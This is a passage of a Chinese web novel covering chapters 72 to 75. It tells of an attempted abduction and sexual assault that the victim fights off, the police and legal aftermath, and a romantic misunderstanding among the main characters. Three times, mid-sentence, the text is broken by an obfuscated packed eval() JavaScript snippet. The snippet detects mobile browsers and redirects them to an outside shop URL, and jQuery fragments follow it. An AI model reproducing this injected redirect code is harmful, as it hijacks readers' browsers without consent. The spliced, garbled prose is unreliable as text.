稍后姚佳莉也赶到了,依然是辨认自己的照片,以及被通知潜在的危险。 姚佳莉的照片很少,只有几张。她盯着余琛抱住自己的那张:“这不是我们拍视频的时候吗?这么早他就盯上我了?” 姚佳莉想起早上余琛的电话,问关昊:“茜茜呢?她没事吧?” “没事,她也在这。一会录完笔录你就见到她了。” 出了接待室,姚佳莉看到林茜安好,放下心来:“你没事就好。一大早余琛给我打电话,问我知不知道你在哪,你电话又打不通。我这一天心里也不踏实。” 林茜在姚佳莉面前才真正放松了几分:“我这不是好好的吗?他还说什么了?” “你说余琛啊?没什么了,就只问了这个。”老姚回道。 “哦。”既然余琛给老姚打了电话,那他应该没事。或许是自己这两天经历的事,有些精神紧张了,林茜在心里想。 姚佳莉不知道林茜已经遇袭,以为她和自己一样,只是作为余琛认识的人,有潜在的危险。 考虑到茜茜和余琛关系匪浅,肯定比自己风险大,姚佳莉有些担心:“要不你搬过来和我一起住?两个人互相有个照应。” 林茜坦白道:“我现在住在关昊那,还有几天就要去泰国了,就先不动了。”林茜担心的是,雷劲还没落网,自己作为头号目标,还是不要连累老姚。 住在关昊那?这扑朔迷离的关系……算了,闺蜜的事情,让她自己搞定吧,只要人没事,其他都不是大事。老姚潇洒地想。 做完笔录就可以回家了,姚佳莉确认林茜没事后独个儿回去了。林茜不放心,千叮咛万嘱咐到家后一定给她打个电话。自己则留在警局等关昊。 他们要复盘今天的收获,一行人去了办公室开会。 雷劲并没有走远。 他租了辆车,又去了康嫣然的住处,在小区车辆出口斜对面的胡同里等着。 其实每周一康嫣然都会自己坐地铁去工作室学设计,一路上虽然人多,也不是没有动手的机会。 可雷劲今天有种不祥的预感,动手要趁早。 等到下午,果然看到康老头的车出来了,副驾驶上还坐着康嫣然。雷劲发动车子,不动声色地跟了上去。 康老头的车停到了警察局门前。 来报案吗?雷劲眯着眼睛想。多半是余琛猜出他后通知了康老头,动作好快。 南潘那边也还没有消息。 要跑吗? 现在跑,或许还来得及。可是又不甘心。 天色暗了下来。黑夜给了雷劲一些安全感。 他要干最后一票。 正巧康老头父女从警局出来了。 雷劲那辆不起眼的白色桑塔纳像一个幽灵,悄无声息地尾随着。 车子穿过繁华的街区,路过康嫣然喜欢的甜品店。今天嫣嫣没能见到罗小姐,有些怏怏的。康叔把车停在路边,去买女儿最爱吃的姜撞奶。康嫣然则坐在副驾驶上,和罗骏驰发着信息,讲自己今天遇到的事。 车门很快又打开,康嫣然以为爸爸回来拿什么东西,把手机装进口袋,正要抬头,就颈后一痛,晕了过去。 雷劲嘴角泛起一丝□□,迅速把车开离了闹市。 等康叔拿着甜品出来时,连人带车早就没有了踪影。 温热的姜撞奶摔在地上散成不规则的形状。康叔慌忙地拿出手机报警。 路上都是监控,雷劲只敢往小路开。可康老头的车是辆SUV,开得十分掣肘。身体早就兴奋起来了,就在雷劲近乎狂躁时,终于看到一个城市公园。 好地方。 雷劲把车停在一个隐蔽处,看了眼依然昏睡的康嫣然。自己的第一个女人,也是这样。苍白的脸,纤细的脖子,单薄的身体,他的最爱。 身体像要爆炸,雷劲来不及绕到另一头,粗暴地把康嫣然抱过来,从自己这头下了车。 身体剐蹭带来的疼痛让康嫣然醒了过来。可她素来谨慎,没有出声。只感觉到一个男人抱着自己,不断往昏暗的地方走去。 康嫣然的身体紧绷起来。 “醒了?”头上传来男人的声音。 康嫣然记得这个声音,那个讨厌的男人,雷劲。 果然还是找到她头上了。 她还是不敢出声。 “醒了就自己下来走吧。”雷劲放下康嫣然,拧住她的两只胳膊,推着她往前走:“别耍花样。” 康嫣然心里怕到极点,接下来会发生什么,不言而喻。 12月的北京,实在太冷了,公园里没什么人,只有惨白的路灯见证着两个人慢慢走向公共洗手间。 洗手间里有暖气,雷劲的身体又燥热了几分。 这个地方十分僻静,没有行人也没有工作人员,雷劲的胆子也跟着大了起来。 他盯着康嫣然,吐出一个字:“脱。” 康嫣然却被唤起另一段不堪的回忆。 几个女生把她堵在厕所里,拿着手机对着她,也是这么说:“脱。” 牛仔裤里的手机震动起来,或许是爸爸打来的电话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125682|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雷劲被这个不合时宜的噪音搅地有些烦躁,粗暴地吼道:“给我!” 康嫣然哆嗦着掏出手机,小心翼翼地递给了雷劲。 或许是她看起来太过柔弱,或许是身体的亢奋冲淡了理智。 雷劲拿过手机后转身丢进了马桶里,按下冲水键。 就在那一刻,康嫣然拎起洗手台上的洁厕灵对着雷劲的脑袋猛砸过去。 她已经不是当年的康嫣然了。 罗骏驰后来和她聊天时说过,自己也有害怕的时候,但怕没用,得反抗,要让别人怕才行。就算打不过,也要让对方知道自己不是好惹的。再说了,这次是地铁猥亵,万一下次是直接侵犯呢?宁愿手上沾血,好过自己送命。 罗骏驰的话回荡在脑子里,宁愿手上沾血,好过自己送命。 这一下来得猝不及防,雷劲没能躲过,眼前一阵发黑。康嫣然趁这一瞬间跑了出去。 雷劲不可思议地转过身,看向门口的方向,眼神从玩味变成凶狠。 他没把康嫣然放在眼里,她根本就是个花架子,豆芽菜一样的身体,自己捏死她就像捏死一只蚂蚁。 雷劲晃了晃脑袋,追了出去。 寂静的公园里,光线暗淡,哪个方向看起来都是一样的。康嫣然不认识出口,情急之下只能选中一条路拼命地跑。 雷劲循着动静很快追了上来。他是拳手,个子不高,跑得很快。 康嫣然感觉肺快要爆炸,平常琛哥让她练跳绳她总是不愿意,为什么不多做做有氧呢?生死危急的关头,康嫣然只想到责怪自己平常没有多加练习。 跑着跑着,康嫣然绝望了。前面的桥在施工,路堵死了。右边是两米高的栅栏,左边是已经冻结实的人工湖。 雷劲也看清了前面的路况,停了下来,喘着粗气说:“跑啊,你怎么不跑了?” 他一步一步走向康嫣然:“喜欢打野战?好啊,我陪你玩个痛快。” 康嫣然经过这一番波折,恐惧到极点,反而没那么怕了,而是生出一股近乎愤怒的情绪。 爸爸不在,琛哥不在,罗骏驰也不在,只能靠自己了。 康嫣然大喊一声,突然一记直拳冲着雷劲打了过来。 雷劲头一偏躲开了,舔了舔嘴唇。 有意思。 拳风扫过脸颊,昨天被林茜划到的伤口带来一丝酥麻感,又疼又痒。 这个女孩,三番五次出乎自己的意料,够劲道。 雷劲侧身一扭,抓住了企图往回跑的康嫣然。这次他没再放过她,反手拧住她的胳膊,直接把她摔到地上。 康嫣然被摔得眼冒金星,身体微微蜷缩,还没反应过来,雷劲动手了。 脑海中闪现过不同人的脸,爸爸、琛哥、阿生、罗小姐……不能死在这里,不能认命。 康嫣然拼命挣扎,手边忽然摸到一个硬物。 湖边的鹅卵石。 康嫣然心中一喜,没有半点犹豫,使出全身力气砸了过去。 身上的人不再动了,有什么温热的东西流到了康嫣然的脖子里,又很快冷却,带着淡淡的血腥气。 天上飘起雪来。 康嫣然躺在地上,看到了人生的第一场雪。 73. 第 73 章 康叔和警察赶到时,看到女儿蜷缩着蹲在路边,路中间趴着一个男人,旁边一滩已经凝固的血液,呈现出暗红色。 “嫣嫣!”康叔赶紧跑过去,蹲下看着女儿:“你有没有事?” 康嫣然的眼神里有惊恐,还有些木然。这短短的一个小时里,数次濒临崩溃,她的情绪已经有些过载了。 侵犯人身安全的案子本不属于经侦的范围,但因为雷劲是余琛案的后续,所以还是关昊他们来的。 关昊安排好人手封锁现场,收集物证,他自己则带着李莉走过来:“康女士,你得跟我们回去接受调查。” 康嫣然往爸爸身边靠了靠,微微点了点头。 康叔见女儿这副模样,拿不准出了什么事,着急地问道:“嫣嫣,受伤了没有?” “没有。”康嫣然小声说。 那就好那就好,康叔这才放下心来。看来这个畜生没得逞,被嫣嫣反杀了。活该!这种人渣,死有余辜! 康叔想起雷劲偷拍女儿的那些照片,心里还在发毛,看着依然趴在地上的人,愤恨地瞪了一眼。 小王圈好雷劲倒地的范围后,小心地把人扶了起来。情况不太妙,已经是进气多出气少了,问旁边的同事:“叫救护车了吗?” “在来得路上了。”对方回复道。 此处就是第一现场,又案发没多久。关昊想要知道更多的信息。而且,从现场来看,这极有可能属于正当防卫,尽快还原当时的情景,对康嫣然是有利的。 关昊就地问起案发经过,康叔却很抵制:“我女儿刚刚死里逃生,警官,能不能让她缓一缓?” 李莉这时候调和道:“康先生,现在雷劲受了重伤,康小姐是唯一的嫌疑人,早点还原真相,对她也有好处。” 康叔正要反驳,李莉又转头轻声对康嫣然说道:“康小姐,我记得你。之前碰到地铁咸猪手,是你和朋友来报案的吧?当时你很勇敢。” 康叔皱眉问:“什么咸猪手?” 康嫣然小声说:“是琛哥陪我去的。” 李莉想起上回余琛被抓,来接他的人里也有康嫣然,显然关系匪浅,进一步劝道:“雷劲这次就是冲着余琛来的,早点查清,余琛也能安全些。” 这句话打动了康嫣然,她终于配合起来,慢慢说出案发经过。 林茜在警局等着,心里很不踏实。 关昊一行人走得很匆忙,没跟她说什么情况。况且她只是受害人,也很难知道办案的所有细节,只能等警局的通知。 临近9点的时候,关昊终于带着人回来了,一起来的还有康叔和康嫣然。 康嫣然的情况看起来不太好,领口有一片暗红色,像是血迹。康叔像母鸡护崽一样护在康嫣然身边。 难道雷劲对康嫣然动手了?林茜的心提了起来。 康嫣然单独进去做笔录。康叔只能等在外面,焦虑地来回踱步。 林茜走过去:“康叔,发生什么事了?” 康叔看到林茜停下来,后悔道:“林小姐。哎,那个畜生!都怪我太大意了,我以为买份甜品的时间,又车来车往,就没有锁车。谁知道他这么猖狂,竟然敢当街就把车开走,要欺负嫣嫣!” 果然……林茜的声音也有些发颤了:“那,嫣嫣受伤了没有?” “她没事,是那个畜生出事了!嫣嫣用鹅卵石砸破了他的头!现在生死不知。” 林茜的心稍稍放了下来,人没事就好。既然雷劲没得逞,说明不是事后防卫,而是事前或事中。 最好是事中,这样就完全没问题了。万一被认定成事前,有对方严重过错这样的情节,或许可以争取个缓刑。 林茜已经在替康嫣然打算了。 康叔一腔苦闷,见林茜沉默下来,自言自语道:“嫣嫣的命真苦,她小时候我没有护好她,现在长大了我还是没护好她。”说着摘下眼镜,擦了擦眼泪。 林茜看得心里不落忍,安慰道:“嫣嫣很勇敢,您也别太自责。事情还不算太糟,接下来她可能会惹上官司,您有什么打算吗?” 一句话提醒了康叔,那个畜生的惨样他也看到了,虽然嘴里说着死有余辜,可真要有一条人命背在女儿身上,他也忍不住担心:“那怎么办呢?” “如果您相信我,可以把这个案子交给我,我会尽力为她争取。” “好,好。”康叔眼下也没有太多选择,把案件的经过和林茜说了。 情况比想象中要好,是事中防卫,极有可能被认定成正当防卫,或许可以不立案。 就在和康叔了解情况的过程中,康嫣然出来了,还是安静沉默的模样。康叔和她说:“嫣嫣啊,林律师答应帮你打官司了。” “康小姐,接下来你可能会进入法律程序,你同意我作为你的代理律师吗?”林茜问道。 康嫣然摇了摇头。 康叔有些尴尬。 关昊却在这时说:“茜茜,你不能接受她的委托的。你也受到了袭击,到时候并案处理,你是重要证人。” 这提醒了林茜,林茜抱歉地说:“对不起,我把这事忘了。我另外介绍一位资深的刑辩律师给你们好不好?” 康叔忙答应下来:“这样再好不过了。” 康叔带着康嫣然回去了,案件侦查期间,康嫣然不能离开北京,要随时配合调查。 时间不早了,关昊和同事归拢好收集来的物证,简单复盘了今天的调查结果,就和林茜一起回家了。 今天算是有惊无险。康嫣然受了些惊吓,但没有实际伤害。雷劲也抓到了,总体来说不错,关昊的心情也挺好。 尤其是一出会议室,看到林茜就在外面等他,好像整个人都有了归处。 关昊想起上次和林茜从娘家回京的路上,还是一腔惆怅,不知什么时候才能再和林茜一起回家。没想到这么快就实现了。 林茜的心情说不上好坏,雷劲落网虽然是好事,可康嫣然受的刺激不小,她本身又有些情绪上的问题,不知什么时候能恢复。 阿琛那边,今天似乎也过于安静了。 等红灯的间隙里,关昊侧过头看着林茜,林茜显得心事重重。 “怎么了?人都抓到了,这下可以放心了吧。”关昊问道。 “嗯。可能这两天发生的事太多,心里还是没着没落的。”林茜看着前方。 “放心,有我呢,不会让你出事。”关昊安慰道。 回到家,关昊才觉出有些饿了。从下午跑到晚上,就开会的时候对付着吃了个盒饭,现在已经消化殆尽了。 关昊抓了抓头发:“刚才忘了在楼下买个肯德基了。” “你是不是饿了?”林茜问。 “有点。”关昊突然有点不好意思,又有点隐隐的期待。 “我看看厨房里还有什么,对付着煮碗面给你?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132672|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那行,你做的肯定比外边的好吃!”关昊心里的期盼成真了,高兴道。 “你去洗澡吧,我去煮面。”林茜说着就往厨房去了。 这是关昊素来的习惯,只要去过案发现场,回家后第一件事就是洗澡。 生活仿佛回到了正轨,关昊就差哼个小曲儿了。 林茜先看了看冰箱,冷藏区除了几瓶水,还有按区域摆放整齐的蔬菜水果。 冷冻区则是些速冻饺子之类的速食品。冰箱门背面的空格里,还冻着两块分装好的里脊肉。 肯定不是关昊买的。关妈来过了?可她平常都是带着包装袋一起放冰箱的,什么时候习惯变了? 林茜拿出要用的食材,关上了冰箱门。 来到厨房,米和面都有。挂面也有半袋,还是自己离开前剩下的,一点没动。 柜子里还多了几颗皮蛋。 关妈不喜欢吃皮蛋,觉得蛋清有些腥,这还是一次外出吃饭时她抱怨的。所以她也从不给家里人做有皮蛋的菜品吃。 林茜心里,有了一丝异样。 浴室传来水声。关昊洗澡很快,林茜也手下生风,做了一碗西红柿鸡蛋面。 面出锅后,关昊还没好。林茜顺手把厨房也收拾了一下。地面有层薄灰,林茜打扫的时候,从橱柜下扫出一张小票。 顺手捡起来看了看,时间是两个多月前了,晚上11点多,有人外卖叫了一些食材,有皮蛋,里脊肉和一袋米。 收件人是:李小姐。 所以,这位李小姐,在晚上11点钟,在关昊家煮皮蛋瘦肉粥给他喝? 那冰箱里那些还算新鲜的食材,也是李小姐买的吗? 林茜又看了眼日期,是她们离婚冷静期的时候。 好像窥到了关昊不为她所知的另一面。 心念一转,罢了,这和她没有关系了。 他有了新生活,也是好事。 林茜把小票丢到垃圾桶里。正好关昊出来了。 他一眼就看到了冒着热气的汤面。大冷天在外面忙了半宿,回家能吃到老婆煮的面,真是做神仙都不换。 “好香啊!”关昊拉开椅子坐下,端起碗喝了口汤,酸中带甜,虽然烫的龇牙咧嘴,心里却暖呼呼的。 真想吃一辈子老婆煮的面。 正打算把此刻的幸福感告诉林茜,没想到林茜说:“我打算明天回去了。” 关昊有些愣住:“回去?回哪?” 回自己住的地方?其实林茜自己心里也有些不安,不知道雷劲还有没有同伙,或后手。 “在宾馆住两天,然后去泰国。如果你这边不需要我配合调查的话。” “不是,怎么突然要走啊?”关昊瞬间觉得眼前的面不香了:“是不是我哪里做得不好,惹你生气了?”关昊看着林茜的脸色,小心翼翼问道。 “不是。”林茜有些犹豫,还是问出了口:“你,是不是有女朋友了?” “我?!我有什么女朋友?”关昊过于惊讶,林茜怎么会问出这么个问题? 林茜看关昊的反应不像作伪,可那张小票又显示着李小姐和关昊关系不一般,林茜斟酌着说道:“其实你交往什么人,是你的私事,我也不想打探的。我只是怕你太讲义气,太关照我,反而把真正重要的人委屈了。” 关昊惊到无以复加:“我交往谁了?除了你还能有谁?你就是最重要的人啊!” 74. 第 74 章 林茜没想到关昊反应这么激烈,反倒有些不知所措。 关昊却觉得一定是哪里出了问题,难道她对自己有误会才离开自己? 面也吃不下去了,关昊离开座椅直接来到林茜身前,蹲下来认真地问道:“茜茜,你和我说,你是不是误会什么了?” “我……”林茜看着关昊这么认真的眉眼,整理了一下思绪,如实说道:“我刚刚收拾厨房的时候,看到一些食材和一张购物的小票。大约两个月前,有一位李小姐在这里煮了粥,应该是皮蛋瘦肉粥,时间是晚上11点以后。” 关昊听着皱起眉来,李小姐?什么李小姐?哪来的李小姐?两个月前,那还没领离婚证呢,怎么会有什么李小姐?! 可茜茜又没必要骗他,关昊拧着眉问道:“那张小票呢?我看看。” “已经丢到垃圾桶里了,没必要……”林茜话还没说完,关昊已经走到厨房的垃圾桶那翻了起来。 一张落了灰的小票,一一对应着林茜刚刚的话。 关昊死死地盯着小票上手机尾号的后四位:5727。好像有点印象,但又想不起来。 这是谁的电话? 林茜也走了过来:“先吃饭吧,面要坨了。” 关昊哪还有心思吃饭。官司都落到自己头上了,现在不弄清楚,那真是跳进黄河也洗不清了。 关昊又站起来,翻出手机的通讯录,输入182,出现了一长溜电话号码,他飞速地往下翻着,看谁的尾号是5727。 终于,画面定格在一个人名上,李莉。 关昊舒了一口气,想起来了,自己第一次和林茜去民政局后,心情不好,叫了小王去喝酒,后来又在KTV碰见李莉和赵诚。 喝多了被人送回来。隐约记得是有人煮了粥给自己,大概就是那时候李莉弄的。 “找到了。”关昊语气轻松:“是我同事。那时候喝多了,小王几个一起送我回来的,里面有个女同事,应该是她帮忙熬了点粥。” “短头发,个子不高的女同事?”林茜问道。 “你怎么知道?”关昊惊讶地转过身,看到林茜拿着一本相册,翻转过来,把正在看的那一面对着自己。 那一页只有一张照片,是李莉和他两个人的合影。照片中的人笑得很灿烂,关昊嘴角勾着,笑得有点痞,女孩则歪着头,靠向关昊的方向,显得很亲密。照片四周是淡紫色的薰衣草图案,勾勒出一种浪漫而温馨的氛围。 左边那页是一张大合影。巧的是,合影中的人都看向右边,仿佛所有人都在见证这两个人的幸福时刻。 “林茜,你听我解释。”关昊赶紧走过来。 “这本相册应该是自己DIY的,封面上的男生是你吧,后面这个短发女生就是你同事了?”林茜合上相册,把封面露出来问道。 她不知道李莉和关昊还是校友。不过带女朋友回母校参加活动,也不稀奇。 “是……李莉和我说,那天是校友活动日。所以我们一起去参加了活动,还有赵诚!我们仨一块去的!应该也有赵诚的照片。”关昊说着拿过相册也翻了起来。 “就是这张!”关昊舒了一口气,指着一张三个人的合影。这张看起来正常多了,好像只是三个普通朋友。 可林茜看到了照片右下角的日期。 那是她确诊卵巢畸胎瘤的日子。也是她坐在医院走廊里,少有的有些彷徨无依的时刻。 林茜心里,终于有了一丝不快。理智上不能怪关昊什么,可情感上已经疏远了几分。 关昊感受到林茜的态度冷了下来。 他宁愿林茜生气或质问,他还可以解释。可他很怕林茜冷淡,她们离婚前,林茜就是这样的态度。他是真的怕了,怕还没说清楚,自己又出局了。 “茜茜!”关昊放下相册,扶住林茜的两侧肩膀,焦急道:“真不是你想的那样!我们仨既是同事也是校友,那天活动在周末,正好有空我就去了。这本相册拿回来后就一直放在这,我都没打开过!” 林茜轻轻推开关昊的手:“你不用和我解释的。你的事情,你自己处理就好。” 完了,关昊心里警钟直响:“茜茜,你有什么不高兴,你说出来!我哪里做的不好,我改!” 林茜看着关昊,又有了那种无力的感觉,他总是听不懂自己在说什么,只能再一次认真说道:“我没有不高兴。关昊,我把你当朋友,我希望你过得开心的。” 关昊知道她接下来要说什么,他不想听。低下头,又小心翼翼地抬起眼说道:“你在我身边,我就开心。” 林茜在心里叹了口气,果然还是该早点搬出去。 “冰箱里的食材,也是李小姐送给你的吧?”林茜突然又问了句。 “啊?”关昊不知道说的什么,打开冰箱看了看,解释道:“是上周我病了,她代表单位来看我的。” “什么病?严重吗?”林茜记得上周末他还跟自己回家忙前忙后。 “没事,就是发烧,一天就好了。”关昊又回到林茜身边。想靠她近一点,又不敢太近。林茜先问了他的病,他很高兴。 “也许你心里很坦荡,真的只把她当普通朋友。但要是她对你有心,还是早点说清楚的好。如果知道了别人的心意,还心安理得地接受对方的付出,总归是不太好。”林茜最后这句既是说给关昊,也是说给自己。 “好,我明天就跟她说清楚!”关昊认真说道。 第二天一早,医院传来消息。雷劲的验伤报告出来了,脑干受损,有可能瘫痪。 警局把康嫣然又传唤了过来。林茜提前联系了一位处理刑事诉讼的同事,也一并过来了。 关昊和康嫣然核实过一些细节后,另给康嫣然找了个间办公室,方便她们谈委托的事。 林茜带来的律师姓赵,一个中年男人,面庞圆润,戴副眼镜,看起来颇有亲和力。康嫣然被询问的工夫,赵律师已经和康叔聊过了,康叔很信任他。 “康小姐,刚刚我和您的父亲聊过了。您的情况我这边大致了解了,你现在有什么要求,或担心,都可以和我说。”赵律师说道。 康嫣然在生人面前一向沉默。可现在不是沉默的时候。 康叔鼓励女儿:“是啊嫣嫣,赵律师很专业的。你想到什么细节,都可以告诉他。” 康嫣然看了爸爸一眼:“我想单独和林律师说话。” 这倒是出乎所有人的意料。林茜只是陪着过来的,谈事情还是以赵律师为主。 赵律师不知道林茜也遇袭的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149504|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以为是客户更信任林茜,想连她一起委托,大度道:“没问题,互相了解总得有个过程,那您先和林律师谈。” 康叔和赵律师出去了。林茜问道:“康小姐,你想说什么?” “你会和余琛结婚吗?”康嫣然问。 这个问题,出现在这个场合,有些突兀。 “为什么这么问?”林茜没直接回答。 “琛哥在这买了房子,我知道,他是为了你。他想和你结婚。他说过,如果你不愿意,他就等到你愿意为止。”康嫣然看着林茜说道。 林茜很惊讶:“余琛告诉你的吗?” 康嫣然点点头。 “那你为什么要和我说这些呢?”林茜问道。 康嫣然眼神黯淡下来:“我听说那个人可能会瘫痪,我也会坐牢。我喜欢琛哥,我希望他能幸福。” …… “我喜欢她,不需要她为我做什么的。” “可是爱一个人,就是没有办法的。只要能看着她,我就很开心了。她平平安安地存在于这个世上,就是对我好。” …… 当初余琛对康嫣然说过的那些话,此刻都清晰地浮现在脑海里。原来爱一个人,到最后,只希望他过得好。现在她终于明白了。 不知道还能不能再见到余琛。 康嫣然低下头看着桌面,两行泪流了下来。 林茜明白了康嫣然的心意,心中触动,语气却还算平稳:“我不知道我会不会嫁给他。” 康嫣然没想到是这么个答案,抬起头来看着林茜,又听林茜说道:“因为我要等你出来,正大光明和我竞争。” 康嫣然怔怔地看着林茜,过了许久,露出一个坚定的表情:“嗯!” 香港那边也传来了最新资料,雷劲过去的记录。12年前,他因为侵犯幼女被判了7年,出狱后打零工度日。没多久辣蛇出狱,又找上了他,把他送到泰国。他在泰国学拳5年,几个月前来到了北京。 这几年香港没有他的记录,难怪家明他们一直没有查到。 不过这对康嫣然来说绝对是个好消息,有了雷劲犯同类罪名的前科,证明康嫣然是在被侵犯过程中实施防卫的佐证就又多了一条。 康叔不知道林律师和女儿聊了什么,但明显感觉到女儿配合了很多,顺利和赵律师签了合同。 小王也很高兴:“香港的同行效率挺高呀,省了咱们不少事。” 小王不知道,香港的同行并没有多高兴,反而还有些沉重。 余琛出事的消息最先传到了香港。 何广生因为袭警,虽然情有可原,但仍然被处以拘留15天的刑罚,刑满后就要被驱逐出境。 办案的警察颇有人情味,在医院留了一个人一直等到余琛的手术结束,才把他带走。抢救还算及时,余琛的命虽然保住了,但人还没醒过来。 何广生想了想,把电话打到昌叔那,通知他们尽快来泰国。 昌叔知道这事不能再瞒着霞姐了,和霞姐说明情况后,又去警局交接好工作,买最近的一趟航班和霞姐飞到了泰国。 霞姐看着病床上依然昏迷的儿子,眼泪流了出来。儿子孤苦半生,没过过几天舒心的日子,只盼着老天保佑,让他早日醒过来。 75. 第 75 章 有了雷劲的犯罪记录,康嫣然防卫的合理性又多了几分,但始终缺少侵害正在进行时的直接证据。警方经过商议,决定把案子如实移送检察院。考虑到案情特殊,对康嫣然不实施拘留,还是采取监视居住。 关昊和李莉一起去科长那送资料。这个案子比较特殊,办得好可以作为正当防卫的典型拿来做普法宣传,也算单位的业绩,所以科长大周末的也来到局里加班。 局长翻着这两天的工作成果,赞赏道:“干得不错。” 关昊已经习惯了这样的评价,李莉却是头一回听到,大声说道:“我们再接再厉!” 科长看着李莉,眼里有几分笑意,年轻真好啊,挡不住的锐气,挥了挥手:“去吧。” 出来的时候正好四下无人,关昊想着昨天对林茜的承诺,叫住了李莉。 “关队,什么事?”李莉问。 临到开口,关昊又有点犹豫了。万一是自己想多了呢?万一人家小姑娘对他没意思,他自作多情在这划清界限,那多没面子,真是想想就尴尬。 而且,要是小姑娘对他有意思,现在低头不见抬头见的,大家还一块办案。真捅破了这层窗户纸,还是尴尬。 关昊之前睁一只眼闭一只眼,多少也是怕这个。反正所有人都知道,他爱的是林茜。 是不是让她知难而退更好? 关昊难得的踌躇了起来。 李莉看得莫名其妙:“关队,到底什么事啊?” “就是,那个……”关昊皱着眉,思考着怎么说能不那么尴尬,突然一阵手机铃声救了他。 “喂,妈。”关昊接起电话。 “昊昊啊,这不快元旦了吗,你爸单位发了几张超市的卡,正好你那附近就有分店。给你几张吧,你什么时候过来拿啊?” “我这忙着呢,”关昊说着,看到李莉,又转了话风:“下周吧,下周我回去一趟。” 关妈许久没见过儿子了,上次吃饭也没吃成,让关昊饿着肚子走了。关妈知道儿子脾气不好,这段时间都没敢给他打电话。现在听说儿子要回去,高兴地一口答应下来:“哎!好!那你忙着,挂了啊。” 关昊挂了电话,一看李莉还等着他说话呢,刚刚鼓起的勇气忽然就没了,转了话头:“那个,上回我病了你不是去看我了吗,我这有几张超市的卡,回头给你吧,算是礼尚往来。你也刚工作,以后别再破费了。” “哦。”李莉低下头应着,拿不准关昊什么意思,但感觉关昊对自己比对一般同事要关心些。或许在他心里,自己还是有一点特别的,李莉心里就有点甜蜜。 临近中午,康嫣然跟着父亲回去了。赵律师也回律所着手准备。 案情进展顺利,小王张罗大家去吃饭。关昊走到林茜前面:“茜茜,去吃饭吗?” 林茜抬头看了眼已经在门口聚集起的吃饭队伍,和一个短发女生的眼神对上,正是这两天一直跟在关昊身边的李莉。 也是校友纪念册的主角。 “我还不饿,你们去吧。”林茜说道。 “那我也不去了,我在这陪你。”关昊说着对小王招了招手,拉出一把椅子挨着林茜坐了下来。 小王心领神会,关哥想和嫂子多一点二人世界,没问题!正要招呼大家走,没想到李莉走了过去:“关队,不去吃饭吗?” “嗯,你们去吧。”关昊说。 “那要给你们带什么回来吗?”李莉又问。 “你有什么想吃的?”关昊问林茜。 林茜不好意思麻烦别人,又想关昊的午休时间也不长,耽误在这怕会影响他下午工作,说道:“不麻烦了,我们一起去吧。” “走!”关昊也饿了,麻溜起身,带着林茜和大部队汇合。 科里有不少人已经知道关昊离婚的事了,此刻看着两人形影不离,都在猜测队长是不是要和太太破镜重圆了,隐隐都有点八卦的心思。 林茜感受到众人或明或暗的目光,只当不知。 不知道余琛怎么样了。 林茜一路安静地走着,关昊则活跃很多,和同事插科打诨,不时往林茜这看一眼。 “嫂子,您当初是怎么拿下关队的啊,分享一下呗!”科里一个新人不知道关昊离婚的事,这两天看着林茜和关昊同进同出,饭桌上打趣地说道。 “你小子说什么呢你!吃都堵不上你的嘴!”关昊堵了回去。 林茜笑了笑,没接这茬。 关昊给林茜夹了个鸡腿:“别搭理他,他就是嘴贫!” 刚刚被说的小伙看得眼酸:“诶呦关队,嫂子怎么拿下您的不知道,您怎么追到嫂子的可看出来了,太贴心了!学习榜样!”说着还夸张地抱了下拳。 “快吃吧你!”关昊扔了个纸团过去,正中对方眉心。 “诶呦!”小伙捂着头叫道。 四周笑成一片。 林茜配合着露出一个客气的微笑。撤回目光时,却看到李莉神情有些落寞。 “嫂子,他就这性格,人来疯!您吃您的哈。”小王也贴心地招呼道。 关昊这些同事里,林茜最熟悉的就是小王。上午关昊一直在忙,林茜没时间问他,此刻抓住机会问小王:“雷劲还有同伙吗?我心里总是不太踏实。” 关昊听到这句,注意力被吸了过来:“你问他干什么?问我不就行了。放心,绝对不让你有事。”说着握住了林茜的手。 动作虽然在桌下。可这桌上的警察哪个是吃素的,论观察细节,捕捉痕迹的本事那都是专业的。 桌上忽然安静了一秒。看向林茜的目光却多了几倍。 李莉站起来:“我去个洗手间。”快步出了包间。 林茜看着她的背影:“我也去一下。” “哦。”关昊松开了手。 林茜在洗手间外等了一下才进去,看到李莉正双手撑在洗手台上,垂着头,看起来情绪不太好。 关昊刚刚的表现,实在太容易让人误会了。要和她说清楚吗?林茜有点拿不准。 李莉听到身后的动静,抬起头来,从镜子里看到了最不想看到的人,心里的防线忽然就溃散了。李莉问出了这几天一直想问的话:“你和关队和好了吗?” “没有。”对方先提问,林茜反而好回答了。 “可是你却住到了他家里。”李莉转过身来,有些咄咄逼人。 